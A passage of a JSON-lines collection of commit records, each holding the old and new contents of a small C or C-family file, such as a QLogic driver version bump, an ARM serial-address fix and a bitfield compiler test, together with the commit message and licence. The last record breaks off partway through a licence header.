{"commit":"5f28897d2827a924b746c4d85e35cf85810b8951","old_file":"drivers\/scsi\/qla4xxx\/ql4_version.h","new_file":"drivers\/scsi\/qla4xxx\/ql4_version.h","old_contents":"\/*\n * QLogic iSCSI HBA Driver\n * Copyright (c)  2003-2012 QLogic Corporation\n *\n * See LICENSE.qla4xxx for copyright and licensing details.\n *\/\n\n#define QLA4XXX_DRIVER_VERSION\t\"5.03.00-k7\"\n","new_contents":"\/*\n * QLogic iSCSI HBA Driver\n * Copyright (c)  2003-2012 QLogic Corporation\n *\n * See LICENSE.qla4xxx for copyright and licensing details.\n *\/\n\n#define QLA4XXX_DRIVER_VERSION\t\"5.03.00-k8\"\n","subject":"Update driver version to 5.03.00-k8","message":"[SCSI] qla4xxx: Update driver version to 5.03.00-k8\n\nSigned-off-by: Vikas Chaudhary <c251871a64d7d31888eace0406cb3d4c419d5f73@qlogic.com>\nSigned-off-by: James Bottomley <1acebbdca565c7b6b638bdc23b58b5610d1a56b8@Parallels.com>\n","lang":"C","license":"apache-2.0","repos":"TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs"}
{"commit":"faa2113220ccdab128891374df1cb50fb778be21","old_file":"fpsgame\/gui\/external_libraries\/tinygettext.h","new_file":"fpsgame\/gui\/external_libraries\/tinygettext.h","old_contents":"","new_contents":"\/* Copyright (c) 2013 Wildfire Games\n *\n * Permission is hereby granted, free of charge, to any person obtaining\n * a copy of this software and associated documentation files (the\n * \"Software\"), to deal in the Software without restriction, including\n * without limitation the rights to use, copy, modify, merge, publish,\n * distribute, sublicense, and\/or sell copies of the Software, and to\n * permit persons to whom the Software is furnished to do so, subject to\n * the following conditions:\n *\n * The above copyright notice and this permission notice shall be included\n * in all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n * IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY\n * CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,\n * TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\n * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n *\/\n\n\/*\n * Bring in the TinyGettext header file.\n *\/\n\n#ifndef INCLUDED_TINYGETTEXT\n#define INCLUDED_TINYGETTEXT\n\n#if MSC_VERSION\n# pragma warning(push)\n# pragma warning(disable:4251) \/\/ \"class X needs to have dll-interface to be used by clients of class Y\"\n# pragma warning(disable:4800) \/\/ \"forcing value to bool 'true' or 'false' (performance warning)\"\n#endif\n\n#include <tinygettext\/tinygettext.hpp>\n#include <tinygettext\/po_parser.hpp>\n#include <tinygettext\/log.hpp>\n\n#if MSC_VERSION\n# pragma warning(pop)\n#endif\n\n#endif\t\/\/ INCLUDED_TINYGETTEXT\n","subject":"Bring in the TinyGettext header file.","message":"Bring in the TinyGettext header file.\n","lang":"C","license":"mit","repos":"mrlitong\/Game-Engine-Development-Usage,mrlitong\/fpsgame,mrlitong\/fpsgame,mrlitong\/fpsgame"}
{"commit":"5524470b2cc0a73bb3422b3bcb0749df8653f210","old_file":"ann.c","new_file":"ann.c","old_contents":"#include <stdio.h>\n\n#define INPUTS 3\n#define HIDDEN 5\n#define OUTPUTS 2\n#define ROWS 5\n\ntypedef struct {\n    double input[HIDDEN][INPUTS];\n    double hidden[ROWS - 3][HIDDEN][HIDDEN];\n    double output[OUTPUTS][HIDDEN];\n} Links;\n\ntypedef struct {\n    int input[INPUTS];\n    int hidden[ROWS - 3][HIDDEN];\n    int output[OUTPUTS];\n} Neurons;\n\ntypedef struct {\n    Links weights;\n    Neurons values;\n} ANN;\n\nint main(void)\n{\n    return 0;\n}\n","new_contents":"#include <stdio.h>\n\n#define INPUTS 3\n#define HIDDEN 5\n#define OUTPUTS 2\n#define ROWS 5\n\ntypedef struct {\n    double input[HIDDEN][INPUTS];\n    double hidden[ROWS - 3][HIDDEN][HIDDEN];\n    double output[OUTPUTS][HIDDEN];\n} Links;\n\ntypedef struct {\n    int input[INPUTS];\n    int hidden[ROWS - 2][HIDDEN];\n    int output[OUTPUTS];\n} Neurons;\n\ntypedef struct {\n    Links weights;\n    Neurons values;\n} ANN;\n\nint main(void)\n{\n    return 0;\n}\n","subject":"Fix number of hidden rows in Neurons struct","message":"Fix number of hidden rows in Neurons struct\n","lang":"C","license":"mit","repos":"tysonzero\/c-ann"}
{"commit":"24e67da465596d90e2af1865631fc2736c385e14","old_file":"mudlib\/mud\/home\/Game\/lib\/action.c","new_file":"mudlib\/mud\/home\/Game\/lib\/action.c","old_contents":"\/*\n * This file is part of Kotaka, a mud library for DGD\n * http:\/\/github.com\/shentino\/kotaka\n *\n * Copyright (C) 2013  Raymond Jennings\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#include <kotaka\/log.h>\n#include <kotaka\/paths.h>\n#include <text\/paths.h>\n#include <thing\/paths.h>\n#include <type.h>\n\ninherit \"emit\";\n","new_contents":"\/*\n * This file is part of Kotaka, a mud library for DGD\n * http:\/\/github.com\/shentino\/kotaka\n *\n * Copyright (C) 2013  Raymond Jennings\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#include <kotaka\/log.h>\n#include <kotaka\/paths.h>\n#include <text\/paths.h>\n#include <thing\/paths.h>\n#include <type.h>\n","subject":"Make emit explicit inherit for now","message":"Make emit explicit inherit for now\n","lang":"C","license":"agpl-3.0","repos":"shentino\/kotaka,shentino\/kotaka,shentino\/kotaka"}
{"commit":"1ab47cc1ffa4acaf69f8f7e0ddb104874f74aaec","old_file":"AutoPkgr\/Utility\/LGHTTPRequest.h","new_file":"AutoPkgr\/Utility\/LGHTTPRequest.h","old_contents":"\/\/\n\/\/  LGHTTPRequest.h\n\/\/  AutoPkgr\n\/\/\n\/\/  Created by Eldon Ahrold on 8\/9\/14.\n\/\/  Copyright 2014-2015 The Linde Group, Inc.\n\/\/\n\/\/  Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/  you may not use this file except in compliance with the License.\n\/\/  You may obtain a copy of the License at\n\/\/\n\/\/      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/  Unless required by applicable law or agreed to in writing, software\n\/\/  distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/  See the License for the specific language governing permissions and\n\/\/  limitations under the License.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@class LGHTTPCredential;\n\n@interface LGHTTPRequest : NSObject\n\n- (void)retrieveDistributionPoints:(LGHTTPCredential *)credential\n                              reply:(void (^)(NSDictionary *distributionPoints, NSError *error))reply;\n\n- (void)retrieveDistributionPoints:(LGHTTPCredential *)credential\n                          redirect:(void (^)(NSString *redirect))redirect\n                             reply:(void (^)(NSDictionary *distributionPoints, NSError *error))reply;\n\n- (void)retrieveDistributionPoints2:(LGHTTPCredential *)credential\n                              reply:(void (^)(NSDictionary *distributionPoints, NSError *error))reply;\n\n@end\n","new_contents":"\/\/\n\/\/  LGHTTPRequest.h\n\/\/  AutoPkgr\n\/\/\n\/\/  Created by Eldon Ahrold on 8\/9\/14.\n\/\/  Copyright 2014-2015 The Linde Group, Inc.\n\/\/\n\/\/  Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/  you may not use this file except in compliance with the License.\n\/\/  You may obtain a copy of the License at\n\/\/\n\/\/      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/  Unless required by applicable law or agreed to in writing, software\n\/\/  distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/  See the License for the specific language governing permissions and\n\/\/  limitations under the License.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@class LGHTTPCredential;\n\n@interface LGHTTPRequest : NSObject\n\n- (void)retrieveDistributionPoints:(LGHTTPCredential *)credential\n                              reply:(void (^)(NSDictionary *distributionPoints, NSError *error))reply;\n\n\n- (void)retrieveDistributionPoints2:(LGHTTPCredential *)credential\n                              reply:(void (^)(NSDictionary *distributionPoints, NSError *error))reply;\n\n@end\n","subject":"Remove unused method from header.","message":"Remove unused method from header.\n","lang":"C","license":"apache-2.0","repos":"ftiff\/autopkgr,ftiff\/autopkgr,lindegroup\/autopkgr,lindegroup\/autopkgr,ftiff\/autopkgr,HyppHere\/autopkgr,lindegroup\/autopkgr,HyppHere\/autopkgr,lindegroup\/autopkgr,HyppHere\/autopkgr,lindegroup\/autopkgr"}
{"commit":"43d3a4627e2db021b0195c101f69d2f61836313a","old_file":"libswfdec\/swfdec_file_reference_list.c","new_file":"libswfdec\/swfdec_file_reference_list.c","old_contents":"\/* Swfdec\n * Copyright (C) 2007 Pekka Lampila <pekka.lampila@iki.fi>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n * \n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n * \n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, \n * Boston, MA  02110-1301  USA\n *\/\n\n#ifdef HAVE_CONFIG_H\n#include \"config.h\"\n#endif\n\n#include \"swfdec_as_internal.h\"\n#include \"swfdec_debug.h\"\n\nSWFDEC_AS_NATIVE (2205, 0, swfdec_file_reference_list_browse)\nvoid\nswfdec_file_reference_list_browse (SwfdecAsContext *cx, SwfdecAsObject *object,\n    guint argc, SwfdecAsValue *argv, SwfdecAsValue *ret)\n{\n  SWFDEC_STUB (\"FileReference.browse\");\n}\n","new_contents":"\/* Swfdec\n * Copyright (C) 2007 Pekka Lampila <pekka.lampila@iki.fi>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n * \n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n * \n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, \n * Boston, MA  02110-1301  USA\n *\/\n\n#ifdef HAVE_CONFIG_H\n#include \"config.h\"\n#endif\n\n#include \"swfdec_as_internal.h\"\n#include \"swfdec_debug.h\"\n\nSWFDEC_AS_NATIVE (2205, 0, swfdec_file_reference_list_browse)\nvoid\nswfdec_file_reference_list_browse (SwfdecAsContext *cx, SwfdecAsObject *object,\n    guint argc, SwfdecAsValue *argv, SwfdecAsValue *ret)\n{\n  SWFDEC_STUB (\"FileReferenceList.browse\");\n}\n","subject":"Fix stub message having a wrong name","message":"Fix stub message having a wrong name\n","lang":"C","license":"lgpl-2.1","repos":"freedesktop-unofficial-mirror\/swfdec__swfdec,freedesktop-unofficial-mirror\/swfdec__swfdec,freedesktop-unofficial-mirror\/swfdec__swfdec,mltframework\/swfdec,mltframework\/swfdec"}
{"commit":"07d9b6ad059cc77b1e892cc6d992f9556a451362","old_file":"interpreter\/apply.h","new_file":"interpreter\/apply.h","old_contents":"\/*\n * tré – Copyright (c) 2005–2007,2009,2012 Sven Michael Klose <pixel@copei.de>\n *\/\n\n#ifndef TRE_APPLY_H\n#define TRE_APPLY_H\n\nextern treptr function_arguments (treptr);\n\nextern treptr trefuncall (treptr func, treptr args);\nextern treptr trebuiltin_call_compiled (void * fun, treptr args);\n\nextern bool   trebuiltin_is_compiled_funcall (treptr);\nextern treptr trefuncall_compiled (treptr func, treptr args, bool do_eval);\n\nvoid treapply_init ();\n\n#endif\t\/* #ifndef TRE_APPLY_H *\/\n","new_contents":"\/*\n * tré – Copyright (c) 2005–2007,2009,2012 Sven Michael Klose <pixel@copei.de>\n *\/\n\n#ifndef TRE_APPLY_H\n#define TRE_APPLY_H\n\nextern treptr function_arguments (treptr);\n\nextern treptr trefuncall (treptr func, treptr args);\nextern treptr trebuiltin_call_compiled (void * fun, treptr args);\n\nextern bool   trebuiltin_is_compiled_funcall (treptr);\nextern bool   trebuiltin_is_compiled_closure (treptr);\nextern treptr trefuncall_compiled (treptr func, treptr args, bool do_eval);\n\nvoid treapply_init ();\n\n#endif\t\/* #ifndef TRE_APPLY_H *\/\n","subject":"Fix declarations for file-by-file compile.","message":"Fix declarations for file-by-file compile.\n","lang":"C","license":"mit","repos":"SvenMichaelKlose\/tre,SvenMichaelKlose\/tre,SvenMichaelKlose\/tre"}
{"commit":"e63d952e927f0da8a29984f47a3c8d828f43d393","old_file":"src\/api-mock.h","new_file":"src\/api-mock.h","old_contents":"#ifndef APIMOCK_H\n#define APIMOCK_H\n\n#include \"core\/server.h\"\n#include \"core\/exceptions.h\"\n#include \"http\/requestdata.h\"\n#endif","new_contents":"#ifndef APIMOCK_H\n#define APIMOCK_H\n\n#include \"core\/server.h\"\n#include \"core\/exceptions.h\"\n#include \"http\/requestdata.h\"\n#include \"http\/requestdata.h\"\n#include \"http\/statuscodes.h\"\n\n#endif","subject":"Include request data and status codes","message":"Include request data and status codes\n","lang":"C","license":"mit","repos":"Lavesson\/api-mock,Lavesson\/api-mock,Lavesson\/api-mock,Lavesson\/api-mock"}
{"commit":"c218da07d8d0178d66620c0778d846f439b85755","old_file":"cvrp\/customer.h","new_file":"cvrp\/customer.h","old_contents":"#ifndef VRPSOLVER_CUSTOMER_H\n#define VRPSOLVER_CUSTOMER_H\n\n#include <utility>\n\nnamespace VrpSolver {\n\n    class Customer {\n    public:\n        Customer(std::size_t id, std::size_t demand)\n            : id_(id), demand_(demand), vertex_(std::make_pair(0, 0))\n        { }\n\n        Customer(std::size_t id, std::size_t demand, std::pair<int, int> vertex)\n            : id_(id), demand_(demand), vertex_(vertex)\n        { }\n\n        Customer(std::size_t id, std::size_t demand, int x, int y)\n            : id_(id), demand_(demand), vertex_(std::make_pair(x, y))\n        { }\n\n        std::size_t id() const {\n            return id_;\n        }\n\n        std::size_t demand() const {\n            return demand_;\n        }\n        \n        void demand(std::size_t demand) {\n            demand_ = demand;\n        }\n\n        int x() const {\n            return vertex_.first;\n        }\n\n        void x(int x) {\n            vertex_.first = x;\n        }\n\n        int y() const {\n            return vertex_.second;\n        }\n\n        void y(int y) {\n            vertex_.second = y;\n        }\n\n    private:\n        std::size_t id_;\n        std::size_t demand_;\n        std::pair<int, int> vertex_;\n    };\n\n} \/\/ namespace VrpSolver\n\n#endif \/\/ VRPSOLVER_CUSTOMER_H\n","new_contents":"#ifndef VRPSOLVER_CUSTOMER_H\n#define VRPSOLVER_CUSTOMER_H\n\n#include <utility>\n\nnamespace VrpSolver {\n\n    class Customer {\n    public:\n        Customer(std::size_t id, std::size_t demand)\n            : id_(id), demand_(demand), vertex_(std::make_pair(0, 0))\n        { }\n\n        Customer(std::size_t id, std::size_t demand, std::pair<int, int> vertex)\n            : id_(id), demand_(demand), vertex_(vertex)\n        { }\n\n        Customer(std::size_t id, std::size_t demand, int x, int y)\n            : id_(id), demand_(demand), vertex_(std::make_pair(x, y))\n        { }\n\n        std::size_t id() const {\n            return id_;\n        }\n\n        std::size_t demand() const {\n            return demand_;\n        }\n        \n        void demand(std::size_t demand) {\n            demand_ = demand;\n        }\n\n        int x() const {\n            return vertex_.first;\n        }\n\n        void x(int x) {\n            vertex_.first = x;\n        }\n\n        int y() const {\n            return vertex_.second;\n        }\n\n        void y(int y) {\n            vertex_.second = y;\n        }\n\n        bool operator==(const Customer &c) const {\n            return id_ == c.id_;\n        }\n\n        bool operator!=(const Customer &c) const {\n            return !(*this == c);\n        }\n\n    private:\n        std::size_t id_;\n        std::size_t demand_;\n        std::pair<int, int> vertex_;\n    };\n\n} \/\/ namespace VrpSolver\n\n#endif \/\/ VRPSOLVER_CUSTOMER_H\n","subject":"Add operator== and != to Customer class","message":"Add operator== and != to Customer class\n\n顧客の同値性は顧客番号のみに依存するようにした\n顧客番号は同じだが、需要や座標が異なる顧客は存在しないと\n考えたからである.\n","lang":"C","license":"mit","repos":"U-MA\/cvrp,U-MA\/cvrp"}
{"commit":"2ae3a03e0b8085434177658c7b880f2aa58e0368","old_file":"grantlee_core_library\/template.h","new_file":"grantlee_core_library\/template.h","old_contents":"\/*\n    Copyright (c) 2009 Stephen Kelly <steveire@gmail.com>\n*\/\n\n#ifndef TEMPLATE_H\n#define TEMPLATE_H\n\n#include \"context.h\"\n\n#include \"node.h\"\n\n#include \"grantlee_export.h\"\n\nclass GRANTLEE_EXPORT Template \/\/: public QObject\n{\n\/\/   Q_OBJECT\npublic:\n  Template(const QString &templateString, QStringList dirs );\n\n  QString render( Context *c );\n\n  NodeList nodeList();\n\n  \/\/ TODO: Remove this.  ??\n  void setNodeList(const NodeList &list);\n\nprivate:\n  void parse();\n  NodeList compileString(const QString &str);\n  QStringList m_pluginDirs;\n  NodeList m_nodelist;\n};\n\nclass GRANTLEE_EXPORT TemplateLoader\n{\npublic:\n  static TemplateLoader* instance();\n\n  void setTemplateDirs(const QStringList &dirs);\n  void setPluginDirs(const QStringList &dirs);\n\n  void setTheme(const QString &themeName);\n\n  void injectTemplate(const QString &name, const QString &content);\n\n  Template loadFromString(const QString &content);\n\n  Template loadByName(const QString &name);\n\n  TemplateLoader();\n\nprivate:\n  Template loadFromFile(const QString &fileName);\n\n  QString m_themeName;\n  QStringList m_templateDirs;\n  QStringList m_pluginDirs;\n  static TemplateLoader* m_instance;\n  QHash<QString, QString> m_namedTemplates;\n};\n\n#endif\n","new_contents":"\/*\n    Copyright (c) 2009 Stephen Kelly <steveire@gmail.com>\n*\/\n\n#ifndef TEMPLATE_H\n#define TEMPLATE_H\n\n#include \"context.h\"\n\n#include \"node.h\"\n\n#include \"grantlee_export.h\"\n\nclass GRANTLEE_EXPORT Template \/\/: public QObject\n{\n\/\/   Q_OBJECT\npublic:\n  Template(const QString &templateString, QStringList dirs );\n\n  QString render( Context *c );\n\n  NodeList nodeList();\n\n  \/\/ TODO: Remove this.  ??\n  void setNodeList(const NodeList &list);\n\nprivate:\n  void parse();\n  NodeList compileString(const QString &str);\n  QStringList m_pluginDirs;\n  NodeList m_nodelist;\n};\n\nclass GRANTLEE_EXPORT TemplateLoader\n{\npublic:\n  static TemplateLoader* instance();\n\n  void setTemplateDirs(const QStringList &dirs);\n  void setPluginDirs(const QStringList &dirs);\n\n  void setTheme(const QString &themeName);\n\n  void injectTemplate(const QString &name, const QString &content);\n\n  Template loadFromString(const QString &content);\n\n  Template loadByName(const QString &name);\n\n\nprivate:\n  TemplateLoader();\n  Template loadFromFile(const QString &fileName);\n\n  QString m_themeName;\n  QStringList m_templateDirs;\n  QStringList m_pluginDirs;\n  static TemplateLoader* m_instance;\n  QHash<QString, QString> m_namedTemplates;\n};\n\n#endif\n","subject":"Make the TemplateLoader constructor private for the Singleton pattern.","message":"Make the TemplateLoader constructor private for the Singleton pattern.\n","lang":"C","license":"lgpl-2.1","repos":"simonwagner\/grantlee,simonwagner\/grantlee,simonwagner\/grantlee,simonwagner\/grantlee,cutelyst\/grantlee,cutelyst\/grantlee,cutelyst\/grantlee,cutelyst\/grantlee,simonwagner\/grantlee,cutelyst\/grantlee,simonwagner\/grantlee"}
{"commit":"a506cf5cc7fe032824c0f52fde755a497749f9aa","old_file":"test\/Driver\/ios-version-min.c","new_file":"test\/Driver\/ios-version-min.c","old_contents":"\/\/ REQUIRES: x86-registered-target\n\/\/ REQUIRES: arm-registered-target\n\/\/ RUN: %clang -target i386-apple-darwin10 -miphonesimulator-version-min=7.0 -arch i386 -S -o - %s | FileCheck %s\n\/\/ RUN: %clang -target i386-apple-darwin10 -miphoneos-version-min=7.0 -arch armv7s -S -o - %s | FileCheck %s\n\nint main() { return 0; }\n\/\/ CHECK: .ios_version_min 7, 0\n","new_contents":"\/\/ REQUIRES: x86-registered-target\n\/\/ REQUIRES: arm-registered-target\n\/\/ RUN: %clang -target i386-apple-darwin10 -miphonesimulator-version-min=7.0 -arch i386 -S -o - %s | FileCheck %s\n\/\/ RUN: %clang -target armv7s-apple-darwin10 -miphoneos-version-min=7.0 -arch armv7s -S -o - %s | FileCheck %s\n\nint main() { return 0; }\n\/\/ CHECK: .ios_version_min 7, 0\n","subject":"Fix the test added in r240710.","message":"Fix the test added in r240710.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@240718 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"f1dc24d53e9e91cf795f05751eeb7e220c7c15e1","old_file":"include\/asm-arm\/arch-ebsa110\/uncompress.h","new_file":"include\/asm-arm\/arch-ebsa110\/uncompress.h","old_contents":"\/*\n *  linux\/include\/asm-arm\/arch-ebsa110\/uncompress.h\n *\n *  Copyright (C) 1996,1997,1998 Russell King\n *\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License version 2 as\n * published by the Free Software Foundation.\n *\/\n\n#include <linux\/serial_reg.h>\n\n#define SERIAL_BASE\t((unsigned char *)0xfe000be0)\n\n\/*\n * This does not append a newline\n *\/\nstatic inline void putc(int c)\n{\n\tunsigned char v, *base = SERIAL_BASE;\n\n\tdo {\n\t\tv = base[UART_LSR << 2];\n\t\tbarrier();\n\t} while (!(v & UART_LSR_THRE));\n\n\tbase[UART_TX << 2] = c;\n}\n\nstatic inline void flush(void)\n{\n\tunsigned char v, *base = SERIAL_BASE;\n\n\tdo {\n\t\tv = base[UART_LSR << 2];\n\t\tbarrier();\n\t} while ((v & (UART_LSR_TEMT|UART_LSR_THRE)) !=\n\t\t (UART_LSR_TEMT|UART_LSR_THRE));\n}\n\n\/*\n * nothing to do\n *\/\n#define arch_decomp_setup()\n#define arch_decomp_wdog()\n","new_contents":"\/*\n *  linux\/include\/asm-arm\/arch-ebsa110\/uncompress.h\n *\n *  Copyright (C) 1996,1997,1998 Russell King\n *\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License version 2 as\n * published by the Free Software Foundation.\n *\/\n\n#include <linux\/serial_reg.h>\n\n#define SERIAL_BASE\t((unsigned char *)0xf0000be0)\n\n\/*\n * This does not append a newline\n *\/\nstatic inline void putc(int c)\n{\n\tunsigned char v, *base = SERIAL_BASE;\n\n\tdo {\n\t\tv = base[UART_LSR << 2];\n\t\tbarrier();\n\t} while (!(v & UART_LSR_THRE));\n\n\tbase[UART_TX << 2] = c;\n}\n\nstatic inline void flush(void)\n{\n\tunsigned char v, *base = SERIAL_BASE;\n\n\tdo {\n\t\tv = base[UART_LSR << 2];\n\t\tbarrier();\n\t} while ((v & (UART_LSR_TEMT|UART_LSR_THRE)) !=\n\t\t (UART_LSR_TEMT|UART_LSR_THRE));\n}\n\n\/*\n * nothing to do\n *\/\n#define arch_decomp_setup()\n#define arch_decomp_wdog()\n","subject":"Fix incorrect serial port address","message":"[ARM] ebsa110: Fix incorrect serial port address\n\nSigned-off-by: Russell King <f6aa0246ff943bfa8602cdf60d40c481b38ed232@arm.linux.org.uk>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs"}
{"commit":"fe82904d985794cb4e3b2704ffe472fe503c6ea4","old_file":"testmud\/mud\/home\/Test\/initd.c","new_file":"testmud\/mud\/home\/Test\/initd.c","old_contents":"\/*\n * This file is part of Kotaka, a mud library for DGD\n * http:\/\/github.com\/shentino\/kotaka\n *\n * Copyright (C) 2012  Raymond Jennings\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#include <kotaka\/log.h>\n#include <kotaka\/paths.h>\n\ninherit LIB_INITD;\n\nstatic void create()\n{\n\tLOGD->post_message(\"test\", LOG_DEBUG, \"Test subsystem loaded\");\n}\n","new_contents":"\/*\n * This file is part of Kotaka, a mud library for DGD\n * http:\/\/github.com\/shentino\/kotaka\n *\n * Copyright (C) 2012  Raymond Jennings\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#include <kotaka\/log.h>\n#include <kotaka\/paths.h>\n\ninherit LIB_INITD;\ninherit UTILITY_COMPILE;\n\nstatic void create()\n{\n\tLOGD->post_message(\"test\", LOG_DEBUG, \"Test subsystem loading...\");\n\n\tload_dir(\"obj\", 1);\n\tload_dir(\"sys\", 1);\n\n\tLOGD->post_message(\"test\", LOG_DEBUG, \"Test subsystem loaded\");\n}\n","subject":"Make test subsystem load itself properly","message":"Make test subsystem load itself properly\n","lang":"C","license":"agpl-3.0","repos":"shentino\/kotaka,shentino\/kotaka,shentino\/kotaka"}
{"commit":"36d330152027f18e2bca73c5ad74d2e5a2c2b7a3","old_file":"test2\/bitfields\/anon_struct.c","new_file":"test2\/bitfields\/anon_struct.c","old_contents":"","new_contents":"\/\/ RUN: %ocheck 0 %s\n\nstruct bit\n{\n\tint bit : 1;\n};\n\nstruct bits\n{\n\tstruct bit; \/\/ `second' is not packed into this\n\tunsigned second : 1;\n};\n\nmain()\n{\n\tstruct bits bs;\n\n\tbs.bit = 1;\n\tbs.second = 1;\n\n\tif(0[(int *)&bs] != 1)\n\t\treturn 1;\n\tif(1[(int *)&bs] != 1) \/\/ ensure it's packed to an int spacing\n\t\treturn 1;\n\n\treturn 0;\n}\n","subject":"Test for bitfields separated by an anonymous struct","message":"Test for bitfields separated by an anonymous struct\n","lang":"C","license":"mit","repos":"8l\/ucc-c-compiler,8l\/ucc-c-compiler,8l\/ucc-c-compiler,8l\/ucc-c-compiler"}
{"commit":"a17484601e97ba856c8130d2d98a7055c0fd5f8c","old_file":"src\/Core\/Command\/CommandFactory.h","new_file":"src\/Core\/Command\/CommandFactory.h","old_contents":"\/*\n For more information, please see: http:\/\/software.sci.utah.edu\n\n The MIT License\n\n Copyright (c) 2012 Scientific Computing and Imaging Institute,\n University of Utah.\n\n\n Permission is hereby granted, free of charge, to any person obtaining a\n copy of this software and associated documentation files (the \"Software\"),\n to deal in the Software without restriction, including without limitation\n the rights to use, copy, modify, merge, publish, distribute, sublicense,\n and\/or sell copies of the Software, and to permit persons to whom the\n Software is furnished to do so, subject to the following conditions:\n\n The above copyright notice and this permission notice shall be included\n in all copies or substantial portions of the Software.\n\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n OR IMPLIED, INCLUDING BUT 